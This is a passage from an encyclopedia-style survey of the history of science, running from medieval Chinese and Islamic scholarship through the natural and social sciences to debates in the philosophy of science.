          There are many notable contributors to the field of Chinese science throughout the ages. One of the best examples would be Shen Kuo (10311095), a polymath scientist and statesman who was the first to describe the magnetic-needle compass used for navigation, discovered the concept of true north, improved the design of the astronomical gnomon, armillary sphere, sight tube, and clepsydra, and described the use of drydocks to repair boats. After observing the natural process of the inundation of silt and the find of marine fossils in the Taihang Mountains (hundreds of miles from the Pacific Ocean), Shen Kuo devised a theory of land formation, or geomorphology. He also adopted a theory of gradual climate change in regions over time, after observing petrified bamboo found underground at Yan'an, Shaanxi province. If not for Shen Kuo's writing, the architectural works of Yu Hao would be little known, along with the inventor of movable type printing, Bi Sheng (990-1051). Shen's contemporary Su Song (10201101) was also a brilliant polymath, an astronomer who created a celestial atlas of star maps, wrote a pharmaceutical treatise with related subjects of botany, zoology, mineralogy, and metallurgy, and had erected a large astronomical clocktower in Kaifeng city in 1088. To operate the crowning armillary sphere, his clocktower featured an escapement mechanism and the world's oldest known use of an endless power-transmitting chain drive.
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          The Jesuit China missions of the 16th and 17th centuries "learned to appreciate the scientific achievements of this ancient culture and made them known in Europe. Through their correspondence European scientists first learned about the Chinese science and culture." Western academic thought on the history of Chinese technology and science was galvanized by the work of Joseph Needham and the Needham Research Institute. Among the technological accomplishments of China were, according to the British scholar Needham, early seismological detectors ( Zhang Heng in the 2nd century), the water-powered celestial globe (Zhang Heng), matches, the independent invention of the decimal system, dry docks, sliding calipers, the double-action piston pump, cast iron, the blast furnace, the iron plough, the multi-tube seed drill, the wheelbarrow, the suspension bridge, the winnowing machine, the rotary fan, the parachute, natural gas as fuel, the raised-relief map, the propeller, the crossbow, and a solid fuel rocket, the multistage rocket, the horse collar, along with contributions in logic, astronomy, medicine, and other fields.


          However, cultural factors prevented these Chinese achievements from developing into what could be called "science". According to Needham, it was the religious and philosophical framework of the Chinese intellectuals which made them unable to believe in the ideas of laws of nature:


          
            
              	

              	It was not that there was no order in nature for the Chinese, but rather that it was not an order ordained by a rational personal being, and hence there was no conviction that rational personal beings would be able to spell out in their lesser earthly languages the divine code of laws which he had decreed aforetime. The Taoists, indeed, would have scorned such an idea as being too nave for the subtlety and complexity of the universe as they intuited it.

              	
            

          


          


          Science in the Middle Ages


          With the division of the Empire, the Western Roman Empire lost contact with much of its past. The Library of Alexandria, which had suffered since it fell under Roman rule, had been destroyed by 642, shortly after the Arab conquest of Egypt. While the Byzantine Empire still held learning centers such as Constantinople, Western Europe's knowledge was concentrated in monasteries until the development of medieval universities in the 12th and 13th centuries. The curriculum of monastic schools included the study of the few available ancient texts and of new works on practical subjects like medicine and timekeeping.


          Meanwhile, in the Middle East, Greek philosophy was able to find some support under the newly created Arab Empire. With the spread of Islam in the 7th and 8th centuries, a period of Muslim scholarship, known as the Islamic Golden Age, lasted until the 14th century. This scholarship was aided by several factors. The use of a single language, Arabic, allowed communication without need of a translator. Access to Greek and Latin texts from the Byzantine Empire along with Indian sources of learning provided Muslim scholars a knowledge base to build upon. In addition, there was the Hajj, which facilitated scholarly collaboration by bringing together people and new ideas from all over the Muslim world.


          


          Science in the Islamic world
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          Muslim scientists placed far greater emphasis on experiment than had the Greeks. This led to an early scientific method being developed in the Muslim world, where significant progress in methodology was made, beginning with the experiments of Ibn al-Haytham (Alhazen) on optics from circa 1000, in his Book of Optics. The most important development of the scientific method was the use of experiments to distinguish between competing scientific theories set within a generally empirical orientation, which began among Muslim scientists. Ibn al-Haytham is also regarded as the father of optics, especially for his empirical proof of the intromission theory of light. Some have also described Ibn al-Haytham as the "first scientist" for his development of the modern scientific method.


          Rosanna Gorini writes:


          
            
              	

              	"According to the majority of the historians al-Haytham was the pioneer of the modern scientific method. With his book he changed the meaning of the term optics and established experiments as the norm of proof in the field. His investigations are based not on abstract theories, but on experimental evidences and his experiments were systematic and repeatable."

              	
            

          


          Due to the development of the modern scientific method, Robert Briffault wrote in The Making of Humanity:


          
            
              	

              	"What we call science arose as a result of new methods of experiment, observation, and measurement, which were introduced into Europe by the Arabs. [...] Science is the most momentous contribution of Arab civilization to the modern world, but its fruits were slow in ripening. [...] The debt of our science to that of the Arabs does not consist in startling discoveries or revolutionary theories; science owes a great deal more to Arab culture, it owes its existence....The ancient world was, as we saw, pre-scientific. [...] The Greeks systematized, generalized and theorized, but the patient ways of investigations, the accumulation of positive knowledge, the minute methods of science, detailed and prolonged observation and experimental inquiry were altogether alien to the Greek temperament."

              	
            

          


          In mathematics, the Persian mathematician Muhammad ibn Musa al-Khwarizmi gave his name to the concept of the algorithm, while the term algebra is derived from al-jabr, the beginning of the title of one of his publications. What is now known as Arabic numerals originally came from India, but Muslim mathematicians did make several refinements to the number system, such as the introduction of decimal point notation. Sabian mathematician Al-Battani (850-929) contributed to astronomy and mathematics, while Persian scholar Al-Razi contributed to chemistry and medicine.


          In astronomy, Al-Battani improved the measurements of Hipparchus, preserved in the translation of Ptolemy's H Megal Syntaxis (The great treatise) translated as Almagest. Al-Battani also improved the precision of the measurement of the precession of the earth's axis. The corrections made to the geocentric model by al-Battani, Ibn al-Haytham, Averroes and the Maragha astronomers such as Nasir al-Din al-Tusi, Mo'ayyeduddin Urdi and Ibn al-Shatir were later incorporated into the Copernican heliocentric model. Heliocentric theories may have also been discussed by several other Muslim astronomers such as Ja'far ibn Muhammad Abu Ma'shar al-Balkhi, Abu-Rayhan Biruni, Abu Said al-Sijzi, Qutb al-Din al-Shirazi, and 'Umar al-Katibi al- Qazwini.


          Muslim chemists and alchemists played an important role in the foundation of modern chemistry. Scholars such as Will Durant and Fielding H. Garrison considered Muslim chemists to be the founders of chemistry. In particular, Geber is "considered by many to be the father of chemistry". The works of Arabic scientists influenced Roger Bacon (who introduced the empirical method to Europe, strongly influenced by his reading of Arabic writers), and later Isaac Newton.


          Some of the other famous scientists from the Islamic world include al-Farabi ( polymath), Abu al-Qasim (pioneer of surgery), Abū Rayhān al-Bīrūnī (pioneer of Indology, geodesy and anthropology), Avicenna (pioneer of momentum and medicine), Nasīr al-Dīn al-Tūsī (polymath), and Ibn Khaldun (forerunner of social sciences such as demography, cultural history, historiography, philosophy of history and sociology), among many others.


          


          Science in Medieval Europe
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          An intellectual revitalization of Europe started with the birth of medieval universities in the 12th century. The contact with the Islamic world in Spain and Sicily, and during the Reconquista and the Crusades, allowed Europeans access to scientific Greek and Arabic texts, including the works of Aristotle, Ptolemy, Geber, al-Khwarizmi, Alhazen, Avicenna, and Averroes. European scholars like Michael Scotus would learn Arabic in order to study these texts. The European universities aided materially in the translation and propagation of these texts and started a new infrastructure which was needed for scientific communities. As well as this, Europeans began to venture further and further east (most notably, perhaps, Marco Polo) as a result of the Pax Mongolica. This led to the increased influence of Indian and even Chinese science on the European tradition. Technological advances were also made, such as the early flight of Eilmer of Malmesbury (who had studied Mathematics in 11th century England), and the metallurgical achievements of the Cistercian blast furnace at Laskill.
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          At the beginning of the 13th century there were reasonably accurate Latin translations of the main works of almost all the intellectually crucial ancient authors, allowing a sound transfer of scientific ideas via both the universities and the monasteries. By then, the natural philosophy contained in these texts began to be extended by notable scholastics such as Robert Grosseteste, Roger Bacon, Albertus Magnus and Duns Scotus. Precursors of the modern scientific method, influenced by earlier contributions of the Islamic world, can be seen already in Grosseteste's emphasis on mathematics as a way to understand nature, and in the empirical approach admired by Bacon, particularly in his Opus Majus. According to Pierre Duhem, the Condemnation of 1277 led to the birth of modern science, because it forced thinkers to break from relying so much on Aristotle, and to think about the world in new ways.


          The first half of the 14th century saw much important scientific work being done, largely within the framework of scholastic commentaries on Aristotle's scientific writings. William of Ockham introduced the principle of parsimony: natural philosophers should not postulate unnecessary entities, so that motion is not a distinct thing but is only the moving object and an intermediary "sensible species" is not needed to transmit an image of an object to the eye. Scholars such as Jean Buridan and Nicole Oresme started to reinterpret elements of Aristotle's mechanics. In particular, Buridan developed the theory that impetus was the cause of the motion of projectiles, which was a first step towards the modern concept of inertia. The Oxford Calculators began to mathematically analyze the kinematics of motion, making this analysis without considering the causes of motion.


          In 1348, the Black Death and other disasters sealed a sudden end to the previous period of massive philosophic and scientific development. Yet, the rediscovery of ancient texts was improved after the Fall of Constantinople in 1453, when many Byzantine scholars had to seek refuge in the West. Meanwhile, the introduction of printing was to have great effect on European society. The facilitated dissemination of the printed word democratized learning and allowed a faster propagation of new ideas. New ideas also helped to influence the development of European science at this point: not least the introduction of Algebra. These developments paved the way for the Scientific Revolution, which may also be understood as a resumption of the process of scientific change, halted at the start of the Black Death.


          


          Early modern science
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          The renewal of learning in Europe, that began with 12th century Scholasticism, came to an end about the time of the Black Death, and the initial period of the subsequent Italian Renaissance is sometimes seen as a lull in scientific activity. The Northern Renaissance, on the other hand, showed a decisive shift in focus from Aristoteleian natural philosophy to chemistry and the biological sciences (botany, anatomy, and medicine). Thus modern science in Europe was resumed in a period of great upheaval: the Protestant Reformation and Catholic Counter-Reformation; the discovery of the Americas by Christopher Columbus; the Fall of Constantinople; but also the re-discovery of Aristotle during the Scholastic period presaged large social and political changes. Thus, a suitable environment was created in which it became possible to question scientific doctrine, in much the same way that Martin Luther and John Calvin questioned religious doctrine. The works of Ptolemy (astronomy) and Galen (medicine) were found not always to match everyday observations. Work by Vesalius on human cadavers found problems with the Galenic view of anatomy.
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          The willingness to question previously held truths and search for new answers resulted in a period of major scientific advancements, now known as the Scientific Revolution. The Scientific Revolution is traditionally held by most historians to have begun in 1543, when De Revolutionibus, by the astronomer Nicolaus Copernicus, was first printed. The thesis of this book was that the Earth moved around the Sun. The period culminated with the publication of the Philosophi Naturalis Principia Mathematica in 1687 by Isaac Newton.


          Other significant scientific advances were made during this time by Galileo Galilei, Edmond Halley, Robert Hooke, Christiaan Huygens, Tycho Brahe, Johannes Kepler, Gottfried Leibniz, and Blaise Pascal. In philosophy, major contributions were made by Francis Bacon, Sir Thomas Browne, Ren Descartes, and Thomas Hobbes. The scientific method was also better developed as the modern way of thinking emphasized experimentation and reason over traditional considerations.


          


          Age of Enlightenment


          The 17th century "Age of Reason" opened the avenues to the decisive steps towards modern science, which took place during the 18th century "Age of Enlightenment". Directly based on the works of Newton, Descartes, Pascal and Leibniz, the way was now clear to the development of modern mathematics, physics and technology by the generation of Benjamin Franklin (17061790), Leonhard Euler (17071783), Georges-Louis Leclerc (17071788) and Jean le Rond d'Alembert (17171783), epitomized in the appearance of Denis Diderot's Encyclopdie between 1751 and 1772. The impact of this process was not limited to science and technology, but affected philosophy (Immanuel Kant, David Hume), religion (notably with the appearance of positive atheism, and the increasingly significant impact of science upon religion), and society and politics in general (Adam Smith, Voltaire), the French Revolution of 1789 setting a bloody cesura indicating the beginning of political modernity.


          


          Modern science
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          The Scientific Revolution established science as the preeminent source for the growth of knowledge. The early modern period is seen as a flowering of the Renaissance, in what is often known as the Scientific Revolution, viewed as a foundation of modern science. During the 19th century, the practice of science became professionalized and institutionalized in ways which continued through the 20th century. As the role of scientific knowledge grew in society, it became incorporated with many aspects of the functioning of nation-states.


          The history of science is marked by a chain of advances in technology and knowledge that have always complemented each other. Technological innovations bring about new discoveries and are bred by other discoveries which inspire new possibilities and approaches to longstanding science issues. Investing in science and technology is critical to ensuring prosperity and a high quality of life. Scientists are at the forefront of the development of scientific and technological innovations. The primary objectives of these professionals are to create and develop novel research that can be used to solve problems for both the states' populations and individual entities like companies or other private organizations.


          


          Natural sciences


          


          Physics
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          The Scientific Revolution is a convenient boundary between ancient thought and classical physics. Nicolaus Copernicus revived the heliocentric model of the solar system described by Aristarchus of Samos. This was followed by the first known model of planetary motion given by Kepler in the early 17th century, which proposed that the planets follow elliptical orbits, with the Sun at one focus of the ellipse. Galileo ("Father of Modern Physics") also made use of experiments to validate physical theories, a key element of the scientific method.


          In 1687, Isaac Newton published the Principia Mathematica, detailing two comprehensive and successful physical theories: Newton's laws of motion, which led to classical mechanics; and Newton's Law of Gravitation, which describes the fundamental force of gravity. The behaviour of electricity and magnetism was studied by Faraday, Ohm, and others during the early 19th century. These studies led to the unification of the two phenomena into a single theory of electromagnetism, by Maxwell (known as Maxwell's equations).
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          The beginning of the 20th century brought the start of a revolution in physics. The long-held theories of Newton were shown not to be correct in all circumstances. Beginning in 1900, Max Planck, Albert Einstein, Niels Bohr and others developed quantum theories to explain various anomalous experimental results, by introducing discrete energy levels. Not only did quantum mechanics show that the laws of motion did not hold on small scales, but even more disturbingly, the theory of general relativity, proposed by Einstein in 1915, showed that the fixed background of spacetime, on which both Newtonian mechanics and special relativity depended, could not exist. In 1925, Werner Heisenberg and Erwin Schrdinger formulated quantum mechanics, which explained the preceding quantum theories. The observation by Edwin Hubble in 1929 that the speed at which galaxies recede positively correlates with their distance, led to the understanding that the universe is expanding, and the formulation of the Big Bang theory by Georges Lematre.
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          Further developments took place during World War II, which led to the practical application of radar and the development and use of the atomic bomb. Though the process had begun with the invention of the cyclotron by Ernest O. Lawrence in the 1930s, physics in the postwar period entered into a phase of what historians have called " Big Science", requiring massive machines, budgets, and laboratories in order to test their theories and move into new frontiers. The primary patron of physics became state governments, who recognized that the support of "basic" research could often lead to technologies useful to both military and industrial applications. Currently, general relativity and quantum mechanics are inconsistent with each other, and efforts are underway to unify the two.


          


          Chemistry


          The history of modern chemistry can be taken to begin with the distinction of chemistry from alchemy by Robert Boyle in his work The Sceptical Chymist, in 1661 (although the alchemical tradition continued for some time after this) and the gravimetric experimental practices of medical chemists like William Cullen, Joseph Black, Torbern Bergman and Pierre Macquer. Another important step was made by Antoine Lavoisier ( Father of Modern Chemistry) through his recognition of oxygen and the law of conservation of mass, which refuted phlogiston theory. The theory that all matter is made of atoms, which are the smallest constituents of matter that cannot be broken down without losing the basic chemical and physical properties of that matter, was provided by John Dalton in 1803, although the question took a hundred years to settle as proven. Dalton also formulated the law of mass relationships. In 1869, Dmitri Mendeleev composed his periodic table of elements on the basis of Dalton's discoveries.


          The synthesis of urea by Friedrich Whler opened a new research field, organic chemistry, and by the end of the 19th century, scientists were able to synthesize hundreds of organic compounds. The later part of the 19th century saw the exploitation of the Earth's petrochemicals, after the exhaustion of the oil supply from whaling. By the twentieth century, systematic production of refined materials provided a ready supply of products which provided not only energy, but also synthetic materials for clothing, medicine, and everyday disposable resources. Application of the techniques of organic chemistry to living organisms resulted in physiological chemistry, the precursor to biochemistry. The twentieth century also saw the integration of physics and chemistry, with chemical properties explained as the result of the electronic structure of the atom. Linus Pauling's book on The Nature of the Chemical Bond used the principles of quantum mechanics to deduce bond angles in ever-more complicated molecules. Pauling's work culminated in the physical modelling of DNA, the secret of life (in the words of Francis Crick, 1953). In the same year, the Miller-Urey experiment demonstrated in a simulation of primordial processes, that basic constituents of proteins, simple amino acids, could themselves be built up from simpler molecules.


          


          Geology


          Geology existed as a cloud of isolated, disconnected ideas about rocks, minerals, and landforms long before it became a coherent science. Theophrastus' work on rocks Peri lithōn remained authoritative for millennia: its interpretation of fossils was not overturned until after the Scientific Revolution. Chinese polymath Shen Kua (1031 - 1095) was the first to formulate hypotheses for the process of land formation. Based on his observation of fossils in a geological stratum in a mountain hundreds of miles from the ocean, he deduced that the land was formed by erosion of the mountains and by deposition of silt.
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          Geology was not systematically restructured during the Scientific Revolution, but individual theorists made important contributions. Robert Hooke, for example, formulated theory of earthquakes, and Nicholas Steno developed the theory of superposition and argued that fossils were the remains of once-living creatures. Beginning with Thomas Burnet's Sacred Theory of the Earth in 1685, natural philosophers began to explore the idea that the Earth had changed over time. Burnet and his contemporaries interpreted Earth's past in terms of events described in the Bible, but their work laid the intellectual foundations for secular interpretations of Earth history.


          Modern geology, like modern chemistry, gradually evolved during the 1700s and early 1800s. Benot de Maillet and the Comte de Buffon argued that Earth was much older than the 6,000 years envisioned by biblical scholars. Jean-tienne Guettard and Nicolas Desmarest hiked central France and recorded their observations on some of the first geological maps. Abraham Werner created a systematic classification scheme for rocks and minerals--an achievement as significant for geology as that of Linnaeus was for biology. Werner also proposed a generalized interpretation of Earth history, as did contemporary Scottish polymath James Hutton. Georges Cuvier and Alexandre Brongniart, expanding on the work of Steno, argued that layers of rock could be dated by the fossils they contained: a principle first applied to the geology of the Paris Basin. The use of index fossils became a powerful tool for making geological maps, because it allowed geologists to correlate the rocks in one locality with those of similar age in other, distant localities. Over the first half of the 19th century, geologists such as Charles Lyell, Adam Sedgwick, and Roderick Murchison applied the new technique to rocks throughout Europe and eastern North America, setting the stage for more detailed, government-funded mapping projects in later decades.


          Midway through the 19th century, the focus of geology shifted from description and classification to attempts to understand how the surface of the Earth changed. The first comprehensive theories of mountain building were proposed during this period, as were the first modern theories of earthquakes and volcanoes. Louis Agassiz and others established the reality of continent-covering ice ages, and "fluvialists" like Andrew Crombie Ramsay argued that river valleys were formed, over millions of years by the rivers that flow through them. After the discovery of radioactivity, radiometric dating methods were developed, starting in the 1900s. Alfred Wegener's theory of "continental drift" was widely dismissed when it was proposed in the 1910s, but new data gathered in the 1950s and 1960s led to the theory of plate tectonics, which provided a plausible mechanism for it. Plate tectonics also provided a unified explanation for a wide range of seemingly unrelated geological phenomena. Since 1970 it has been the unifying principle in geology.


          Geologists' embrace of plate tectonics was part of a broadening of the field from a study of rocks into a study of the Earth as a planet. Other elements of this transformation include: geophysical studies of the interior of the Earth, the grouping of geology with meteorology and oceanography as one of the "earth sciences", and comparisons of Earth and the solar system's other rocky planets.


          


          Astronomy


          Aristarchus of Samos published work on how to determine the sizes and distances of the Sun and the Moon, and Eratosthenes used this work to figure the size of the Earth. Hipparchus later discovered the precession of the Earth.


          Advances in astronomy and in optical systems in the 19th century resulted in the first observation of an asteroid (1 Ceres) in 1801, and the discovery of Neptune in 1846.


          George Gamow, Ralph Alpher, and Robert Hermann had calculated that there should be evidence for a Big Bang in the background temperature of the universe. In 1964, Arno Penzias and Robert Wilson discovered a 3 kelvin background hiss in their Bell Labs radiotelescope, which was evidence for this hypothesis, and formed the basis for a number of results that helped determine the age of the universe.


          Supernova SN1987A was observed by astronomers on Earth both visually, and in a triumph for neutrino astronomy, by the solar neutrino detectors at Kamiokande. But the solar neutrino flux was a fraction of its theoretically-expected value. This discrepancy forced a change in some values in the standard model for particle physics.


          


          Biology, medicine, and genetics
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          In 1847, Hungarian physician Ignc Flp Semmelweis dramatically reduced the occurrency of puerperal fever by the simple experiment of requiring physicians to wash their hands before attending to women in childbirth. This discovery predated the germ theory of disease. However, Semmelweis' findings were not appreciated by his contemporaries and came into use only with discoveries by British surgeon Joseph Lister, who in 1865 proved the principles of antisepsis. Lister's work was based on the important findings by French biologist Louis Pasteur. Pasteur was able to link microorganisms with disease, revolutionizing medicine. He also devised one of the most important methods in preventive medicine, when in 1880 he produced a vaccine against rabies. Pasteur invented the process of pasteurization, to help prevent the spread of disease through milk and other foods.


          Perhaps the most prominent and far-reaching theory in all of science has been the theory of evolution by natural selection put forward by the British naturalist Charles Darwin in his book On the Origin of Species in 1859. Darwin proposed that the features of all living things, including humans, were shaped by natural processes over long periods of time. Implications of evolution on fields outside of pure science have led to both opposition and support from different parts of society, and profoundly influenced the popular understanding of "man's place in the universe". In the early 20th century, the study of heredity became a major investigation after the rediscovery in 1900 of the laws of inheritance developed by the Moravian monk Gregor Mendel in 1866. Mendel's laws provided the beginnings of the study of genetics, which became a major field of research for both scientific and industrial research. By 1953, James D. Watson, Francis Crick and Rosalind Franklin clarified the basic structure of DNA, the genetic material for expressing life in all its forms. In the late 20th century, the possibilities of genetic engineering became practical for the first time, and a massive international effort began in 1990 to map out an entire human genome (the Human Genome Project) has been touted as potentially having large medical benefits.


          


          Ecology
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          The discipline of ecology typically traces its origin to the synthesis of Darwinian evolution and Humboldtian biogeography, in the late 19th and early 20th centuries. Equally important in the rise of ecology, however, were microbiology and soil scienceparticularly the cycle of life concept, prominent in the work Louis Pasteur and Ferdinand Cohn. The word ecology was coined by Ernst Haeckel, whose particularly holistic view of nature in general (and Darwin's theory in particular) was important in the spread of ecological thinking. In the 1930s, Arthur Tansley and others began developing the field of ecosystem ecology, which combined experimental soil science with physiological concepts of energy and the techniques of field biology. The history of ecology in the 20th century is closely tied to that of environmentalism; the Gaia hypothesis in the 1960s and more recently the scientific-religious movement of Deep Ecology have brought the two closer together.


          


          Social sciences


          Successful use of the scientific method in the physical sciences led to the same methodology being adapted to better understand the many fields of human endeavor. From this effort the social sciences have been developed.


          


          Political science


          While the study of politics is first found in Western culture in Ancient Greece, political science is a late arrival in terms of social sciences. However, the discipline has a clear set of antecedents such as moral philosophy, political philosophy, political economy, history, and other fields concerned with normative determinations of what ought to be and with deducing the characteristics and functions of the ideal state. In each historic period and in almost every geographic area, we can find someone studying politics and increasing political understanding.


          The antecedents of politics trace their roots back even earlier than Plato and Aristotle, particularly in the works of Homer, Hesiod, Thucydides, Xenophon, and Euripides. Later, Plato analyzed political systems, abstracted their analysis from more literary- and history- oriented studies and applied an approach we would understand as closer to philosophy. Similarly, Aristotle built upon Plato's analysis to include historical empirical evidence in his analysis.


          During the rule of Rome, famous historians such as Polybius, Livy and Plutarch documented the rise of the Roman Republic, and the organization and histories of other nations, while statesmen like Julius Caesar, Cicero and others provided us with examples of the politics of the republic and Rome's empire and wars. The study of politics during this age was oriented toward understanding history, understanding methods of governing, and describing the operation of governments.


          With the fall of the Roman Empire, there arose a more diffuse arena for political studies. The rise of monotheism and, particularly for the Western tradition, Christianity, brought to light a new space for politics and political action. During the Middle Ages, the study of politics was widespread in the churches and courts. Works such as Augustine of Hippo's The City of God synthesized current philosophies and political traditions with those of Christianity, redefining the borders between what was religious and what was political. Most of the political questions surrounding the relationship between Church and State were clarified and contested in this period.


          In the Middle East and later other Islamic areas, works such as the Rubaiyat of Omar Khayyam and Epic of Kings by Ferdowsi provided evidence of political analysis, while the Islamic aristotelians such as Avicenna and later Maimonides and Averroes, continued Aristotle's tradition of analysis and empiricism, writing commentaries on Aristotle's works.


          During the Italian Renaissance, Niccol Machiavelli established the emphasis of modern political science on direct empirical observation of political institutions and actors. Later, the expansion of the scientific paradigm during the Enlightenment further pushed the study of politics beyond normative determinations. In particular, the study of statistics, to study the subjects of the state, has been applied to polling and voting.


          In the 20th century, the study of ideology, behaviouralism and international relations led to a multitude of 'pol-sci' subdisciplines including voting theory, game theory (also used in economics), psephology, political geography/ geopolitics, political psychology/ political sociology, political economy, policy analysis, public administration, comparative political analysis and peace studies/conflict analysis.


          


          Linguistics


          Historical linguistics emerged as an independent field of study at the end of the 18th century. Sir William Jones proposed that Sanskrit, Persian, Greek, Latin, Gothic, and Celtic languages all shared a common base. After Jones, an effort to catalog all languages of the world was made throughout the 19th century and into the 20th century. Publication of Ferdinand de Saussure's Cours de linguistique gnrale spawned the development of descriptive linguistics. Descriptive linguistics, and the related structuralism movement caused linguistics to focus on how language changes over time, instead of just describing the differences between languages. Noam Chomsky further diversified linguistics with the development of generative linguistics in the 1950s. His effort is based upon a mathematical model of language that allows for the description and prediction of valid syntax. Additional specialties such as sociolinguistics, cognitive linguistics, and computational linguistics have emerged from collaboration between linguistics and other disciplines.


          


          Economics
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          The basis for classical economics forms Adam Smith's An Inquiry into the Nature and Causes of the Wealth of Nations, published in 1776. Smith criticized mercantilism, advocating a system of free trade with division of labour. He postulated an " Invisible Hand" that large economic systems could be self-regulating through a process of enlightened self-interest. Karl Marx developed an alternative economical system, called Marxian economics. Marxian economics is based on the labor theory of value and assumes the value of good to be based on the amount of labor required to produce it. Under this assumption, capitalism was based on employeers not paying the full value of workers labor to create profit. The Austrian school responded to Marxian economics by viewing entrepreneurship as driving force of economic development. This replaced the labor theory of value by a system of supply and demand.


          In the 1920s, John Maynard Keynes prompted a division between microeconomics and macroeconomics. Under Keynesian economics macroeconomic trends can overwhelm economic choices made by individuals. Governments should promote aggregate demand for goods as a means to encourage economic expansion. Following World War II, Milton Friedman created the concept of monetarism. Monetarism focuses on using the supply and demand of money as a method for controlling economic activity. In the 1970s, monetarism has adapted into supply-side economics which advocates reducing taxes as a means to increase the amount of money available for economic expansion.


          Other modern schools of economic thought are New Classical economics and New Keynesian economics. New Classical economics was developed in the 1970s, emphasizing solid microeconomics as the basis for macroeconomic growth. New Keynesian economics was created partially in response to New Classical economics, and deals with how inefficiencies in the market create a need for control by a central bank or government.


          


          Psychology


          The end of the 19th century marks the start of psychology as a scientific enterprise. The year 1879 is commonly seen as the start of psychology as an independent field of study. In that year Wilhelm Wundt founded the first laboratory dedicated exclusively to psychological research (in Leipzig). Other important early contributors to the field include Hermann Ebbinghaus (a pioneer in memory studies), Ivan Pavlov (who discovered classical conditioning), and Sigmund Freud. Freud's influence has been enormous, though more as cultural icon than a force in scientific psychology.


          The 20th century saw a rejection of Freud's theories as being too unscientific, and a reaction against Edward Titchener's atomistic approach of the mind. This led to the formulation of behaviorism by John B. Watson, which was popularized by B.F. Skinner. Behaviorism proposed epistemologically limiting psychological study to overt behaviour, since that could be reliably measured. Scientific knowledge of the "mind" was considered too metaphysical, hence impossible to achieve.


          The final decades of the 20th century have seen the rise of a new interdisciplinary approach to studying human psychology, known collectively as cognitive science. Cognitive science again considers the mind as a subject for investigation, using the tools of evolutionary psychology, linguistics, computer science, philosophy, and neurobiology. New methods of visualizing the activity of the brain, such as PET scans and CAT scans, began to exert its influence as well. These new forms of investigation assume that a wide understanding of the human mind is possible, and that such an understanding may be applied to other research domains, such as artificial intelligence.


          


          Sociology


          Ibn Khaldun can be regarded as the earliest scientific systematic sociologist. The modern sociology, emerged in the early 19th century as the academic response to the modernization of the world. Among many early sociologists (e.g., mile Durkheim), the aim of sociology was in structuralism, understanding the cohesion of social groups, and developing an "antidote" to social disintegration. Max Weber was concerned with the modernization of society through the concept of rationalization, which he believed would trap individuals in an "iron cage" of rational thought. Some sociologists, including Georg Simmel and W. E. B. Du Bois, utilized more microsociological, qualitative analyses. This microlevel approach played an important role in American sociology, with the theories of George Herbert Mead and his student Herbert Blumer resulting in the creation of the symbolic interactionism approach to sociology.


          American sociology in the 1940s and 1950s was dominated largely by Talcott Parsons, who argued that aspects of society that promoted structural integration were therefore "functional". This structural functionalism approach was questioned in the 1960s, when sociologists came to see this approach as merely a justification for inequalities present in the status quo. In reaction, conflict theory was developed, which was based in part on the philosophies of Karl Marx. Conflict theorists saw society as an arena in which different groups compete for control over resources. Symbolic interactionism also came to be regarded as central to sociological thinking. Erving Goffman saw social interactions as a stage performance, with individuals preparing "backstage" and attempting to control their audience through impression management. While these theories are currently prominent in sociological thought, other approaches exist, including feminist theory, post-structuralism, rational choice theory, and postmodernism.


          


          Anthropology


          Anthropology can best be understood as an outgrowth of the Age of Enlightenment. It was during this period that Europeans attempted systematically to study human behaviour. Traditions of jurisprudence, history, philology and sociology developed during this time and informed the development of the social sciences of which anthropology was a part.


          At the same time, the romantic reaction to the Enlightenment produced thinkers such as Johann Gottfried Herder and later Wilhelm Dilthey whose work formed the basis for the culture concept which is central to the discipline. Traditionally, much of the history of the subject was based on colonial encounters between Europe and the rest of the world, and much of 18th- and 19th-century anthropology is now classed as forms of scientific racism.


          During the late 19th-century, battles over the "study of man" took place between those of an "anthropological" persuasion (relying on anthropometrical techniques) and those of an " ethnological" persuasion (looking at cultures and traditions), and these distinctions became part of the later divide between physical anthropology and cultural anthropology, the latter ushered in by the students of Franz Boas.


          In the mid-20th century, much of the methodologies of earlier anthropological and ethnographical study were reevaluated with an eye towards research ethics, while at the same time the scope of investigation has broadened far beyond the traditional study of "primitive cultures" (scientific practice itself is often an arena of anthropological study).


          The emergence of paleoanthropology, a scientific discipline which draws on the methodologies of paleontology, physical anthropology and ethology, among other disciplines, and increasing in scope and momentum from the mid-20th century, continues to yield further insights into human origins, evolution, genetic and cultural heritage, and perspectives on the contemporary human predicament as well.


          


          Emerging disciplines


          During the 20th century, a number of interdisciplinary scientific fields have emerged. Three examples will be given here:


          Communication studies combines animal communication, information theory, marketing, public relations, telecommunications and other forms of communication.


          Computer science, built upon a foundation of theoretical linguistics, discrete mathematics, and electrical engineering, studies the nature and limits of computation. Subfields include computability, computational complexity, database design, computer networking, artificial intelligence, and the design of computer hardware. One area in which advances in computing have contributed to more general scientific development is by facilitating large-scale archiving of scientific data. Contemporary computer science typically distinguishes itself by emphasising mathematical 'theory' in contrast to the practical emphasis of software engineering.


          Materials science has its roots in metallurgy, minerology, and crystallography. It combines chemistry, physics, and several engineering disciplines. The field studies metals, ceramics, plastics, semiconductors, and composite materials.


          


          Academic study


          As an academic field, history of science began with the publication of William Whewell's History of the Inductive Sciences (first published in 1837). A more formal study of the history of science as an independent discipline was launched by George Sarton's publications, Introduction to the History of Science (published in 1927) and the Isis journal (founded in 1912). The history of mathematics, history of technology, and history of philosophy are distinct areas of research and are covered in other articles. Mathematics is closely related to but distinct from natural science (at least in the modern conception). Technology is likewise closely related to but clearly differs from the search for empirical truth. Philosophy differs from science in its engagement in analysis and normative discourse, among other differences. In practice science, mathematics, technology, and philosophy are obviously deeply entwined, and clear lines demarcating them are not evident until the 19th century (when science first became professionalized). History of science has therefore been deeply informed by the histories of mathematics, technology, and philosophyeven as those fields have become increasingly autonomous.


          


          Theories and sociology of the history of science


          Much of the study of the history of science has been devoted to answering questions about what science is, how it functions, and whether it exhibits large-scale patterns and trends. The sociology of science in particular has focused on the ways in which scientists work, looking closely at the ways in which they "produce" and "construct" scientific knowledge. Since the 1960s, a common trend in science studies (the study of the sociology and history of science) has been to emphasize the "human component" of scientific knowledge, and to de-emphasize the view that scientific data are self-evident, value-free, and context-free.


          A major subject of concern and controversy in the philosophy of science has been the nature of theory change in science. Karl Popper argued that scientific knowledge is progressive and cumulative; Thomas Kuhn, that scientific knowledge moves through " paradigm shifts" and is not necessarily progressive; and Paul Feyerabend, that scientific knowledge is not cumulative or progressive and that there can be no demarcation in terms of method between science and any other form of investigation.


          Since the publication of Kuhn's The Structure of Scientific Revolutions in 1970, historians, sociologists, and philosophers of science have debated the meaning and objectivity of science.
